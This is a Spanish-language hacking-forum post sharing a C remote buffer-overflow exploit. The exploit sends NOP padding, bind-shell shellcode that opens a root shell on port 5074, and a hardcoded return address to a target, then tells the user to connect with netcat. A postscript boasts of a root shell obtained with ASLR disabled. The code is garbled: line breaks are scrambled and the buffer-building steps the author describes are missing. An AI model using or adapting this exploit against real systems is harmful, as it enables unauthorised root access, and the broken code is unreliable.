Tanan!!! Fin!!!
La cosa era que la shellcode se copiaba dos veces porque, como bien dice Iván (no lo interpreté bien...), la shellcode se copia dos veces porque memset no le pone un \x00 al final...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>
int main (int argc, char *argv [])
{
printf ("Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net\n"); if (argc != 3)
{
printf ("!!! Use: %s <target_ip> <port>\n\n", argv
[0]); return 1;
}
printf ("Creating socket...\t"); struct sockaddr_in host; int sockfd;
host.sin_family = AF_INET;
host.
sin_port = htons
(atoi (argv
[2])); host.sin_addr.s_addr = inet_addr (argv [1]);
if ((sockfd=socket (2, 1, 0))==-1)
{
return 1;
}
printf ("Conecting target...\t"); if ((connect (sockfd, (struct sockaddr*)&host, sizeof (host)))==-1)
{
return 1;
}
printf ("Creating buffer...\t"); char nops [169];
nops [168] = '\x00';
char shellcode [93] = "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10"
"\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80"
"\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89"
"\xe1\xb0\x0b\xcd\x80";
char ret [6] = "\x50\xf8\xff\xbf\x90";
char command [265];
printf ("Sending buffer...\t"); if (send
(sockfd
, &command
, strlen (command
), 0)==-1) {
return 1;
}
printf ("Now you can exec NC [nc -vv %s 5074]\nBe good!\n\n", argv
[1]); return 0;
}
Un saludo!!!
____________________
Modf: Lo acabo de probar en otro sistema, y sólo con desactivar el randomize_va_space y cambiar el RET, todo va perfectamente y me abre una shell con privilegios root en el puerto 5074. Conseguido! Ahora voy a ver por qué no funciona fuera del GDB...